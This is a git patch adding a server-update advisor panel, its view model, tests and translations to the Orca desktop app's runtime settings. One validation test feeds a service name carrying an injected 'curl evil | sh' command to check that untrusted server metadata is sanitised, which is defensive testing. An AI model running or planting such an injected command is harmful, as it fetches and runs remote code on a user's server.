From dc2bd72d7fb8869903446ff51596cb94987e5cce Mon Sep 17 00:00:00 2001 From: Jinjing <6427696+AmethystLiang@users.noreply.github.com> Date: Mon, 6 Jul 2026 23:05:15 -0700 Subject: [PATCH] feat(settings): render remote server update advisor for blocked runtime environments Co-authored-by: Orca --- .../settings/RuntimeEnvironmentsPane.tsx | 265 +++++++++++------- .../settings/RuntimeUpdateAdvisor.tsx | 227 +++++++++++++++ .../runtime-update-advisor-model.test.ts | 134 +++++++++ .../settings/runtime-update-advisor-model.ts | 77 +++++ src/renderer/src/i18n/locales/en.json | 9 + src/renderer/src/i18n/locales/es.json | 9 + src/renderer/src/i18n/locales/ja.json | 9 + src/renderer/src/i18n/locales/ko.json | 9 + src/renderer/src/i18n/locales/zh.json | 9 + .../runtime/runtime-protocol-compat.test.ts | 86 ++++++ .../src/runtime/runtime-protocol-compat.ts | 35 ++- 11 files changed, 766 insertions(+), 103 deletions(-) create mode 100644 src/renderer/src/components/settings/RuntimeUpdateAdvisor.tsx create mode 100644 src/renderer/src/components/settings/runtime-update-advisor-model.test.ts create mode 100644 src/renderer/src/components/settings/runtime-update-advisor-model.ts create mode 100644 src/renderer/src/runtime/runtime-protocol-compat.test.ts diff --git a/src/renderer/src/components/settings/RuntimeEnvironmentsPane.tsx b/src/renderer/src/components/settings/RuntimeEnvironmentsPane.tsx index af3e2be3ee0..3f4cb667256 100644 --- a/src/renderer/src/components/settings/RuntimeEnvironmentsPane.tsx +++ b/src/renderer/src/components/settings/RuntimeEnvironmentsPane.tsx @@ -53,6 +53,8 @@ import { getWebRuntimeEnvironmentsSearchEntry } from './runtime-environments-search' import { unwrapRuntimeRpcResult } from '@/runtime/runtime-rpc-client' +import { RuntimeUpdateAdvisor, type RuntimeUpdateRecheckState } from './RuntimeUpdateAdvisor' +import { parseEndpointPortHint } from './runtime-update-advisor-model' import { useAppStore } from '@/store' import { translate } from '@/i18n/i18n' import { cn } from '@/lib/utils' @@ -259,6 +261,9 @@ export function RuntimeEnvironmentsPane({ const [switchingValue, setSwitchingValue] = useState(null) const [removingId, setRemovingId] = useState(null) const [disconnectingId, setDisconnectingId] = useState(null) + const [recheckStateById, setRecheckStateById] = useState< + Record + >({}) const [pendingSwitchValue, setPendingSwitchValue] = useState(null) const [pendingRemove, setPendingRemove] = useState(null) const [addServerFormOpen, setAddServerFormOpen] = useState(false) @@ -675,6 +680,56 @@ export function RuntimeEnvironmentsPane({ } } + // "Check again" from the update advisor: re-read status through the raw, + // non-asserting RPC (unwrap only, never assertRuntimeStatusCompatible) so + // detection/versions keep rendering, then re-evaluate compatibility. On an ok + // verdict the blocked row clears back to the normal view; on continued + // incompatibility the advisor shows an inline "still out of date" note. + const recheckEnvironment = async (environment: PublicKnownRuntimeEnvironment): Promise => { + setRecheckStateById((current) => ({ ...current, [environment.id]: 'checking' })) + try { + const response = await window.api.runtimeEnvironments.getStatus({ + selector: environment.id, + timeoutMs: 15_000 + }) + const runtimeStatus = unwrapRuntimeRpcResult(response) + const compatibility = evaluateHostDetails(runtimeStatus) + useAppStore.getState().setRuntimeEnvironmentStatus(environment.id, { + status: runtimeStatus, + checkedAt: Date.now() + }) + if (!mountedRef.current) { + return + } + setDetailsByEnvironmentId((current) => ({ + ...current, + [environment.id]: { status: 'ready', runtimeStatus, compatibility, error: null } + })) + setRecheckStateById((current) => ({ + ...current, + [environment.id]: compatibility.kind === 'blocked' ? 'still-blocked' : 'idle' + })) + } catch (error) { + useAppStore.getState().setRuntimeEnvironmentStatus(environment.id, { + status: null, + checkedAt: Date.now() + }) + if (!mountedRef.current) { + return + } + setDetailsByEnvironmentId((current) => ({ + ...current, + [environment.id]: { + status: 'error', + runtimeStatus: null, + compatibility: null, + error: error instanceof Error ? error.message : String(error) + } + })) + setRecheckStateById((current) => ({ ...current, [environment.id]: 'idle' })) + } + } + const switchToValue = async (value: string): Promise => { if (value === NO_RUNTIME_VALUE) { return false @@ -866,7 +921,7 @@ export function RuntimeEnvironmentsPane({
{(() => { const details = detailsByEnvironmentId[environment.id] @@ -875,6 +930,8 @@ export function RuntimeEnvironmentsPane({ const connectionState = getRuntimeServerConnectionState(details) // A connected host exposes Disconnect; otherwise Connect. const isReachable = connectionState === 'connected' + const blockedVerdict = + details?.compatibility?.kind === 'blocked' ? details.compatibility : null const actionBusy = connectingId === environment.id || switchingValue === environment.id || @@ -882,109 +939,119 @@ export function RuntimeEnvironmentsPane({ removingId === environment.id return ( <> - -
-
-
{environment.name}
- - - {getRuntimeServerConnectionLabel(connectionState)} - - {details?.compatibility?.kind === 'blocked' ? ( - - ) : details?.status === 'loading' ? ( - +
+ +
+
+
{environment.name}
+ + + {getRuntimeServerConnectionLabel(connectionState)} + + {details?.compatibility?.kind === 'blocked' ? ( + + ) : details?.status === 'loading' ? ( + + ) : null} +
+

+ {isActive + ? translate( + 'auto.components.settings.RuntimeEnvironmentsPane.activeServerRowHelp', + 'Active server for server-routed projects, terminals, and provider checks.' + ) + : getHostDetailsSummary(details)} +

+ {/* Blocked hosts render the full advisor below the row, + so the truncated line is kept only for error states. */} + {detailsDescription && !blockedVerdict ? ( +

+ {detailsDescription} +

) : null}
-

- {isActive - ? translate( - 'auto.components.settings.RuntimeEnvironmentsPane.activeServerRowHelp', - 'Active server for server-routed projects, terminals, and provider checks.' - ) - : getHostDetailsSummary(details)} -

- {detailsDescription ? ( -

- {detailsDescription} -

- ) : null} -
-
- {isReachable ? ( - - ) : ( - - )} - ) : ( - + )} - + +
+ {blockedVerdict && details?.runtimeStatus ? ( + candidate.id === environment.preferredEndpointId + )?.endpoint ?? environment.endpoints[0]?.endpoint + )} + recheckState={recheckStateById[environment.id] ?? 'idle'} + onRecheck={() => void recheckEnvironment(environment)} + /> + ) : null} ) })()} diff --git a/src/renderer/src/components/settings/RuntimeUpdateAdvisor.tsx b/src/renderer/src/components/settings/RuntimeUpdateAdvisor.tsx new file mode 100644 index 00000000000..b318199082c --- /dev/null +++ b/src/renderer/src/components/settings/RuntimeUpdateAdvisor.tsx @@ -0,0 +1,227 @@ +import { AlertTriangle, Download, ExternalLink, Loader2, RefreshCw } from 'lucide-react' +import type { RuntimeCompatVerdict } from '../../../../shared/protocol-compat' +import type { RuntimeStatus } from '../../../../shared/runtime-types' +import type { + RuntimeUpdateGuide, + RuntimeUpdateGuideLink, + RuntimeUpdateGuideStep +} from '../../../../shared/runtime-update-guide' +import { NativeChatCopyButton } from '../native-chat/NativeChatCopyButton' +import { Button } from '../ui/button' +import { translate } from '@/i18n/i18n' +import { buildRuntimeUpdateAdvisorGuide } from './runtime-update-advisor-model' + +/** 'checking' disables the button and shows a spinner; 'still-blocked' means the + * last recheck came back incompatible, so an inline note confirms the click had + * an effect even though the environment stays blocked. */ +export type RuntimeUpdateRecheckState = 'idle' | 'checking' | 'still-blocked' + +type RuntimeUpdateAdvisorProps = { + verdict: RuntimeCompatVerdict + status: RuntimeStatus + portHint?: number + recheckState: RuntimeUpdateRecheckState + onRecheck: () => void +} + +export function RuntimeUpdateAdvisor({ + verdict, + status, + portHint, + recheckState, + onRecheck +}: RuntimeUpdateAdvisorProps): React.JSX.Element | null { + const guide = buildRuntimeUpdateAdvisorGuide({ verdict, status, portHint }) + if (!guide) { + return null + } + return ( +
+
+ +
+

{guide.title}

+

+ {guide.direction === 'client-too-old' ? guide.message : guide.primary} +

+
+
+ {guide.direction === 'client-too-old' ? ( + + ) : ( + + )} + +
+ ) +} + +// ── client-too-old: local updater only, never server commands ────────── + +function ClientUpdateAction(): React.JSX.Element { + // Why: the desktop updater surfaces its own progress/result via the global + // UpdateCard, so triggering a check here is the whole action. Guarded because + // web/mobile builds may not expose the updater — those get the release link. + const canCheckForUpdates = typeof window.api.updater?.check === 'function' + return ( +
+ {canCheckForUpdates ? ( + + ) : null} + +
+ ) +} + +// ── server-too-old: versions, detection, copyable steps, links ───────── + +function ServerUpdateGuide({ + guide +}: { + guide: Extract +}): React.JSX.Element { + return ( +
+ + {guide.steps.length > 0 ? ( +
    + {guide.steps.map((step, index) => ( +
  1. + +
  2. + ))} +
+ ) : null} + {guide.links.length > 0 ? ( +
+ {guide.links.map((link) => ( + + ))} +
+ ) : null} +
+ ) +} + +function ServerUpdateMeta({ + guide +}: { + guide: Extract +}): React.JSX.Element { + const protocolLine = translate( + 'auto.components.settings.RuntimeUpdateAdvisor.protocolLine', + 'Server protocol {{value0}}, this client requires {{value1}}.', + { + value0: guide.protocol.running, + value1: guide.protocol.required ?? '—' + } + ) + return ( +
+

{protocolLine}

+ {guide.detectedLine ?

{guide.detectedLine}

: null} + {guide.serverVersion ? ( +

+ {translate( + 'auto.components.settings.RuntimeUpdateAdvisor.serverVersion', + 'Server version {{value0}}.', + { value0: guide.serverVersion } + )} +

+ ) : null} + {guide.latestVersion ? ( +

+ {translate( + 'auto.components.settings.RuntimeUpdateAdvisor.latestVersion', + 'Latest version {{value0}}.', + { value0: guide.latestVersion } + )} +

+ ) : null} +
+ ) +} + +function AdvisorStep({ step }: { step: RuntimeUpdateGuideStep }): React.JSX.Element { + if (step.kind === 'prose') { + return

{step.text}

+ } + // A command block is a suggestion for the user to run on the server (typically + // over their own SSH session) — never a command Orca executes. + return ( +
+
+        {step.text}
+      
+ +
+ ) +} + +function AdvisorLink({ link }: { link: RuntimeUpdateGuideLink }): React.JSX.Element { + return ( + + ) +} + +function RecheckRow({ + recheckState, + onRecheck +}: { + recheckState: RuntimeUpdateRecheckState + onRecheck: () => void +}): React.JSX.Element { + const checking = recheckState === 'checking' + return ( +
+ + {recheckState === 'still-blocked' ? ( + + {translate( + 'auto.components.settings.RuntimeUpdateAdvisor.stillOutOfDate', + 'Still out of date. Update the server, then check again.' + )} + + ) : null} +
+ ) +} diff --git a/src/renderer/src/components/settings/runtime-update-advisor-model.test.ts b/src/renderer/src/components/settings/runtime-update-advisor-model.test.ts new file mode 100644 index 00000000000..e1bb7584ca0 --- /dev/null +++ b/src/renderer/src/components/settings/runtime-update-advisor-model.test.ts @@ -0,0 +1,134 @@ +import { describe, expect, it } from 'vitest' +import { + buildRuntimeUpdateAdvisorGuide, + deriveRuntimeUpdateGuideInput, + parseEndpointPortHint +} from './runtime-update-advisor-model' +import { + describeRuntimeCompatBlock, + type RuntimeCompatVerdict +} from '../../../../shared/protocol-compat' +import { DEFAULT_SERVICE_NAME } from '../../../../shared/runtime-update-info-validation' +import type { RuntimeStatus, RuntimeUpdateInfo } from '../../../../shared/runtime-types' + +const CLIENT_TOO_OLD: RuntimeCompatVerdict = { + kind: 'blocked', + reason: 'client-too-old', + clientProtocolVersion: 1, + serverProtocolVersion: 5, + requiredClientProtocolVersion: 4 +} + +const SERVER_TOO_OLD: RuntimeCompatVerdict = { + kind: 'blocked', + reason: 'server-too-old', + clientProtocolVersion: 5, + serverProtocolVersion: 1, + requiredServerProtocolVersion: 4 +} + +const OK: RuntimeCompatVerdict = { + kind: 'ok', + clientProtocolVersion: 5, + serverProtocolVersion: 5 +} + +function status(updateInfo?: RuntimeUpdateInfo): RuntimeStatus { + return { + runtimeId: 'remote-runtime', + rendererGraphEpoch: 0, + graphStatus: 'ready', + authoritativeWindowId: null, + liveTabCount: 0, + liveLeafCount: 0, + hostPlatform: 'linux', + updateInfo + } +} + +describe('buildRuntimeUpdateAdvisorGuide verdict branching', () => { + it('returns null when the verdict is ok', () => { + expect(buildRuntimeUpdateAdvisorGuide({ verdict: OK, status: status() })).toBeNull() + }) + + it('routes client-too-old to the local updater with no server command blocks', () => { + // Even when the server advertises a command-producing install shape, the + // client-too-old path must never surface server commands. + const guide = buildRuntimeUpdateAdvisorGuide({ + verdict: CLIENT_TOO_OLD, + status: status({ installKind: 'linux-appimage', restartKind: 'systemd' }) + }) + expect(guide?.direction).toBe('client-too-old') + if (guide?.direction !== 'client-too-old') { + throw new Error('expected client-too-old guide') + } + expect(guide.localUpdate).toBe(true) + expect(guide.message).toBe(describeRuntimeCompatBlock(CLIENT_TOO_OLD)) + // The client-too-old shape has no steps field at all — no command blocks. + expect('steps' in guide).toBe(false) + }) + + it('produces copyable command steps for a server-too-old AppImage host', () => { + const guide = buildRuntimeUpdateAdvisorGuide({ + verdict: SERVER_TOO_OLD, + status: status({ installKind: 'linux-appimage', restartKind: 'systemd' }), + portHint: 6900 + }) + if (guide?.direction !== 'server-too-old') { + throw new Error('expected server-too-old guide') + } + expect(guide.steps.some((step) => step.kind === 'command')).toBe(true) + expect(guide.protocol).toEqual({ running: 1, required: 4 }) + }) +}) + +describe('deriveRuntimeUpdateGuideInput trust boundary', () => { + it('passes untrusted updateInfo through validation before building the guide', () => { + const derived = deriveRuntimeUpdateGuideInput({ + verdict: SERVER_TOO_OLD, + status: status({ + installKind: 'linux-appimage', + restartKind: 'systemd', + // Injection attempt: must be discarded and replaced with the default. + serviceName: 'sshd.service; curl evil | sh', + // Unrecognized enum → 'unknown' is never surfaced here because + // installKind above is valid, but a bad hostArch must be dropped. + hostArch: 'sparc' + }), + portHint: 6900 + }) + expect(derived.installKind).toBe('linux-appimage') + expect(derived.restartKind).toBe('systemd') + expect(derived.serviceName).toBe(DEFAULT_SERVICE_NAME) + expect(derived.hostArch).toBeUndefined() + expect(derived.port).toBe(6900) + // assetUrl is owned by a later unit and must stay unset here. + expect(derived.assetUrl).toBeUndefined() + }) + + it('maps unrecognized install/restart kinds to unknown', () => { + const derived = deriveRuntimeUpdateGuideInput({ + verdict: SERVER_TOO_OLD, + status: status({ + installKind: 'made-up-kind' as RuntimeUpdateInfo['installKind'], + restartKind: 'made-up' as RuntimeUpdateInfo['restartKind'] + }) + }) + expect(derived.installKind).toBe('unknown') + expect(derived.restartKind).toBe('unknown') + }) +}) + +describe('parseEndpointPortHint', () => { + it('extracts an explicit port from the paired endpoint', () => { + expect(parseEndpointPortHint('wss://example.com:6768/pair')).toBe(6768) + }) + + it('returns undefined without an explicit port or for unparseable input', () => { + expect(parseEndpointPortHint('wss://example.com/pair')).toBeUndefined() + expect(parseEndpointPortHint('not a url')).toBeUndefined() + expect(parseEndpointPortHint(undefined)).toBeUndefined() + expect(parseEndpointPortHint(null)).toBeUndefined() + expect(parseEndpointPortHint('')).toBeUndefined() + }) +}) diff --git a/src/renderer/src/components/settings/runtime-update-advisor-model.ts b/src/renderer/src/components/settings/runtime-update-advisor-model.ts new file mode 100644 index 00000000000..d78991dcb9f --- /dev/null +++ b/src/renderer/src/components/settings/runtime-update-advisor-model.ts @@ -0,0 +1,77 @@ +// Why: pure derivation of the advisor's view model from the compat verdict and +// the blocked server's status. Kept out of the React component so the +// verdict-branching logic (client-too-old renders no server commands) can be +// unit-tested without rendering, and so the trust boundary — always running raw +// `status.updateInfo` through the shared validator — lives in one place. + +import type { RuntimeCompatVerdict } from '../../../../shared/protocol-compat' +import type { RuntimeStatus } from '../../../../shared/runtime-types' +import { + buildRuntimeUpdateGuide, + type RuntimeUpdateGuide, + type RuntimeUpdateGuideInput +} from '../../../../shared/runtime-update-guide' +import { validateRuntimeUpdateInfo } from '../../../../shared/runtime-update-info-validation' + +export type RuntimeUpdateAdvisorModelInput = { + verdict: RuntimeCompatVerdict + status: RuntimeStatus + /** Port from the client's own paired endpoint — a hint the guide falls back + * from when absent. Never sourced from server metadata. */ + portHint?: number +} + +/** + * Derive the guide-matrix input from the verdict + status. `status.updateInfo` + * is untrusted server data, so it always passes through `validateRuntimeUpdateInfo` + * before any field selects a template or fills a placeholder. `assetUrl` is left + * unset — a later unit supplies exact release asset URLs. + */ +export function deriveRuntimeUpdateGuideInput( + input: RuntimeUpdateAdvisorModelInput +): RuntimeUpdateGuideInput { + const validated = validateRuntimeUpdateInfo(input.status.updateInfo) + return { + verdict: input.verdict, + hostPlatform: input.status.hostPlatform, + installKind: validated.installKind, + restartKind: validated.restartKind, + hostArch: validated.hostArch, + serviceName: validated.serviceName, + installPath: validated.installPath, + currentVersion: validated.currentVersion, + latestVersion: validated.latestVersion, + updateAvailable: validated.updateAvailable, + docsUrl: validated.docsUrl, + port: input.portHint + } +} + +/** null when the verdict is not a block: the advisor renders nothing. */ +export function buildRuntimeUpdateAdvisorGuide( + input: RuntimeUpdateAdvisorModelInput +): RuntimeUpdateGuide | null { + return buildRuntimeUpdateGuide(deriveRuntimeUpdateGuideInput(input)) +} + +/** + * Best-effort port hint parsed from the client-owned paired endpoint string + * (e.g. `wss://host:6768/...`). Returns undefined when the endpoint carries no + * explicit port or cannot be parsed, so the guide uses its documented default. + */ +export function parseEndpointPortHint(endpoint: string | undefined | null): number | undefined { + if (!endpoint) { + return undefined + } + let parsed: URL + try { + parsed = new URL(endpoint) + } catch { + return undefined + } + if (!parsed.port) { + return undefined + } + const port = Number(parsed.port) + return Number.isInteger(port) ? port : undefined +} diff --git a/src/renderer/src/i18n/locales/en.json b/src/renderer/src/i18n/locales/en.json index 40f61f74600..bf84953e862 100644 --- a/src/renderer/src/i18n/locales/en.json +++ b/src/renderer/src/i18n/locales/en.json @@ -9247,6 +9247,15 @@ }, "MobileRelayBetaNotice": { "notice": "Orca Relay is in beta." + }, + "RuntimeUpdateAdvisor": { + "checkForUpdates": "Check for updates", + "downloadOrca": "Download the latest Orca", + "protocolLine": "Server protocol {{value0}}, this client requires {{value1}}.", + "serverVersion": "Server version {{value0}}.", + "latestVersion": "Latest version {{value0}}.", + "checkAgain": "Check again", + "stillOutOfDate": "Still out of date. Update the server, then check again." } }, "right": { diff --git a/src/renderer/src/i18n/locales/es.json b/src/renderer/src/i18n/locales/es.json index 64f47a9c258..60516e51902 100644 --- a/src/renderer/src/i18n/locales/es.json +++ b/src/renderer/src/i18n/locales/es.json @@ -9224,6 +9224,15 @@ }, "MobileRelayBetaNotice": { "notice": "Orca Relay is in beta." + }, + "RuntimeUpdateAdvisor": { + "checkForUpdates": "Check for updates", + "downloadOrca": "Download the latest Orca", + "protocolLine": "Server protocol {{value0}}, this client requires {{value1}}.", + "serverVersion": "Server version {{value0}}.", + "latestVersion": "Latest version {{value0}}.", + "checkAgain": "Check again", + "stillOutOfDate": "Still out of date. Update the server, then check again." } }, "right": { diff --git a/src/renderer/src/i18n/locales/ja.json b/src/renderer/src/i18n/locales/ja.json index 45b3893de81..64a40ac3f84 100644 --- a/src/renderer/src/i18n/locales/ja.json +++ b/src/renderer/src/i18n/locales/ja.json @@ -9224,6 +9224,15 @@ }, "MobileRelayBetaNotice": { "notice": "Orca Relay is in beta." + }, + "RuntimeUpdateAdvisor": { + "checkForUpdates": "Check for updates", + "downloadOrca": "Download the latest Orca", + "protocolLine": "Server protocol {{value0}}, this client requires {{value1}}.", + "serverVersion": "Server version {{value0}}.", + "latestVersion": "Latest version {{value0}}.", + "checkAgain": "Check again", + "stillOutOfDate": "Still out of date. Update the server, then check again." } }, "right": { diff --git a/src/renderer/src/i18n/locales/ko.json b/src/renderer/src/i18n/locales/ko.json index 106911afaad..eaf6b780cb4 100644 --- a/src/renderer/src/i18n/locales/ko.json +++ b/src/renderer/src/i18n/locales/ko.json @@ -9224,6 +9224,15 @@ }, "MobileRelayBetaNotice": { "notice": "Orca Relay is in beta." + }, + "RuntimeUpdateAdvisor": { + "checkForUpdates": "Check for updates", + "downloadOrca": "Download the latest Orca", + "protocolLine": "Server protocol {{value0}}, this client requires {{value1}}.", + "serverVersion": "Server version {{value0}}.", + "latestVersion": "Latest version {{value0}}.", + "checkAgain": "Check again", + "stillOutOfDate": "Still out of date. Update the server, then check again." } }, "right": { diff --git a/src/renderer/src/i18n/locales/zh.json b/src/renderer/src/i18n/locales/zh.json index e54cec11c5b..bb7c0848a6c 100644 --- a/src/renderer/src/i18n/locales/zh.json +++ b/src/renderer/src/i18n/locales/zh.json @@ -9224,6 +9224,15 @@ }, "MobileRelayBetaNotice": { "notice": "Orca Relay is in beta." + }, + "RuntimeUpdateAdvisor": { + "checkForUpdates": "Check for updates", + "downloadOrca": "Download the latest Orca", + "protocolLine": "Server protocol {{value0}}, this client requires {{value1}}.", + "serverVersion": "Server version {{value0}}.", + "latestVersion": "Latest version {{value0}}.", + "checkAgain": "Check again", + "stillOutOfDate": "Still out of date. Update the server, then check again." } }, "right": { diff --git a/src/renderer/src/runtime/runtime-protocol-compat.test.ts b/src/renderer/src/runtime/runtime-protocol-compat.test.ts new file mode 100644 index 00000000000..f3edfd8c2ef --- /dev/null +++ b/src/renderer/src/runtime/runtime-protocol-compat.test.ts @@ -0,0 +1,86 @@ +import { describe, expect, it } from 'vitest' +import { + assertRuntimeStatusCompatible, + getRuntimeCompatBlockDetails, + isRuntimeCompatBlockError, + RUNTIME_COMPAT_BLOCK_CODE +} from './runtime-protocol-compat' +import { describeRuntimeCompatBlock } from '../../../shared/protocol-compat' +import { + MIN_COMPATIBLE_RUNTIME_SERVER_VERSION, + RUNTIME_PROTOCOL_VERSION +} from '../../../shared/protocol-version' +import type { RuntimeStatus } from '../../../shared/runtime-types' + +function blockedStatus(overrides: Partial = {}): RuntimeStatus { + return { + runtimeId: 'remote-runtime', + rendererGraphEpoch: 0, + graphStatus: 'ready', + authoritativeWindowId: null, + liveTabCount: 0, + liveLeafCount: 0, + // Old server: below the client's minimum → server-too-old block. + runtimeProtocolVersion: MIN_COMPATIBLE_RUNTIME_SERVER_VERSION - 1, + hostPlatform: 'linux', + ...overrides + } +} + +describe('assertRuntimeStatusCompatible block error threading', () => { + it('does not throw for a compatible status', () => { + expect(() => + assertRuntimeStatusCompatible( + blockedStatus({ runtimeProtocolVersion: RUNTIME_PROTOCOL_VERSION }) + ) + ).not.toThrow() + }) + + it('throws a coded Error whose message stays the descriptive block text', () => { + const status = blockedStatus() + let thrown: unknown + try { + assertRuntimeStatusCompatible(status) + } catch (error) { + thrown = error + } + expect(thrown).toBeInstanceOf(Error) + expect(isRuntimeCompatBlockError(thrown)).toBe(true) + expect((thrown as { code?: string }).code).toBe(RUNTIME_COMPAT_BLOCK_CODE) + // The runtime-environment switch flow reads only `.message`; keep it intact. + const details = getRuntimeCompatBlockDetails(thrown) + expect(details).not.toBeNull() + expect((thrown as Error).message).toBe(describeRuntimeCompatBlock(details!.verdict)) + }) + + it('carries the verdict and the full status on the block error', () => { + const status = blockedStatus({ updateInfo: { installKind: 'linux-appimage' } }) + let thrown: unknown + try { + assertRuntimeStatusCompatible(status) + } catch (error) { + thrown = error + } + const details = getRuntimeCompatBlockDetails(thrown) + expect(details).not.toBeNull() + expect(details!.verdict).toMatchObject({ kind: 'blocked', reason: 'server-too-old' }) + // The exact status object is threaded so the advisor can read updateInfo/hostPlatform. + expect(details!.status).toBe(status) + expect(details!.status.updateInfo).toEqual({ installKind: 'linux-appimage' }) + }) +}) + +describe('getRuntimeCompatBlockDetails', () => { + it('returns null for non-block errors and non-errors', () => { + expect(getRuntimeCompatBlockDetails(null)).toBeNull() + expect(getRuntimeCompatBlockDetails(new Error('transport failed'))).toBeNull() + expect(getRuntimeCompatBlockDetails('runtime_compat_block')).toBeNull() + }) + + it('returns null for a legacy block error lacking verdict/status', () => { + const legacy = new Error('too old') as Error & { code?: string } + legacy.code = RUNTIME_COMPAT_BLOCK_CODE + expect(isRuntimeCompatBlockError(legacy)).toBe(true) + expect(getRuntimeCompatBlockDetails(legacy)).toBeNull() + }) +}) diff --git a/src/renderer/src/runtime/runtime-protocol-compat.ts b/src/renderer/src/runtime/runtime-protocol-compat.ts index 8a1e1ac382a..286e6e1b5bb 100644 --- a/src/renderer/src/runtime/runtime-protocol-compat.ts +++ b/src/renderer/src/runtime/runtime-protocol-compat.ts @@ -1,4 +1,8 @@ -import { describeRuntimeCompatBlock, evaluateRuntimeCompat } from '../../../shared/protocol-compat' +import { + describeRuntimeCompatBlock, + evaluateRuntimeCompat, + type RuntimeCompatVerdict +} from '../../../shared/protocol-compat' import { MIN_COMPATIBLE_RUNTIME_SERVER_VERSION, RUNTIME_PROTOCOL_VERSION @@ -10,12 +14,31 @@ import type { RuntimeStatus } from '../../../shared/runtime-types' * the runtime-environment switch flow, reads only `.message` and is unaffected. */ export const RUNTIME_COMPAT_BLOCK_CODE = 'runtime_compat_block' +/** The compat verdict and the blocked server's status, carried on the thrown + * block error so the advisor can render detection/versions without re-probing. + * The gate stays a plain `Error` with `.code` + `.message`; these are extra + * own-properties consumers read only through `getRuntimeCompatBlockDetails`. */ +export type RuntimeCompatBlockDetails = { + verdict: RuntimeCompatVerdict + status: RuntimeStatus +} + /** True when `error` is the protocol-compat block thrown by * `assertRuntimeStatusCompatible` (vs a transient transport/timeout error). */ export function isRuntimeCompatBlockError(error: unknown): boolean { return error instanceof Error && (error as { code?: string }).code === RUNTIME_COMPAT_BLOCK_CODE } +/** Reads the verdict + status attached to a compat-block error. Returns null for + * any other error, or a block error thrown before this contract existed. */ +export function getRuntimeCompatBlockDetails(error: unknown): RuntimeCompatBlockDetails | null { + if (!isRuntimeCompatBlockError(error)) { + return null + } + const { verdict, status } = error as { verdict?: RuntimeCompatVerdict; status?: RuntimeStatus } + return verdict && status ? { verdict, status } : null +} + export function assertRuntimeStatusCompatible(status: RuntimeStatus): void { const verdict = evaluateRuntimeCompat({ clientProtocolVersion: RUNTIME_PROTOCOL_VERSION, @@ -26,9 +49,13 @@ export function assertRuntimeStatusCompatible(status: RuntimeStatus): void { }) if (verdict.kind === 'blocked') { // Preserve the descriptive message; add a `.code` marker so callers can - // distinguish a version block from a transport failure. - const error = new Error(describeRuntimeCompatBlock(verdict)) - ;(error as { code?: string }).code = RUNTIME_COMPAT_BLOCK_CODE + // distinguish a version block from a transport failure, plus verdict/status + // so the advisor can render guidance while the environment stays blocked. + const error = new Error(describeRuntimeCompatBlock(verdict)) as Error & + Partial & { code?: string } + error.code = RUNTIME_COMPAT_BLOCK_CODE + error.verdict = verdict + error.status = status throw error } }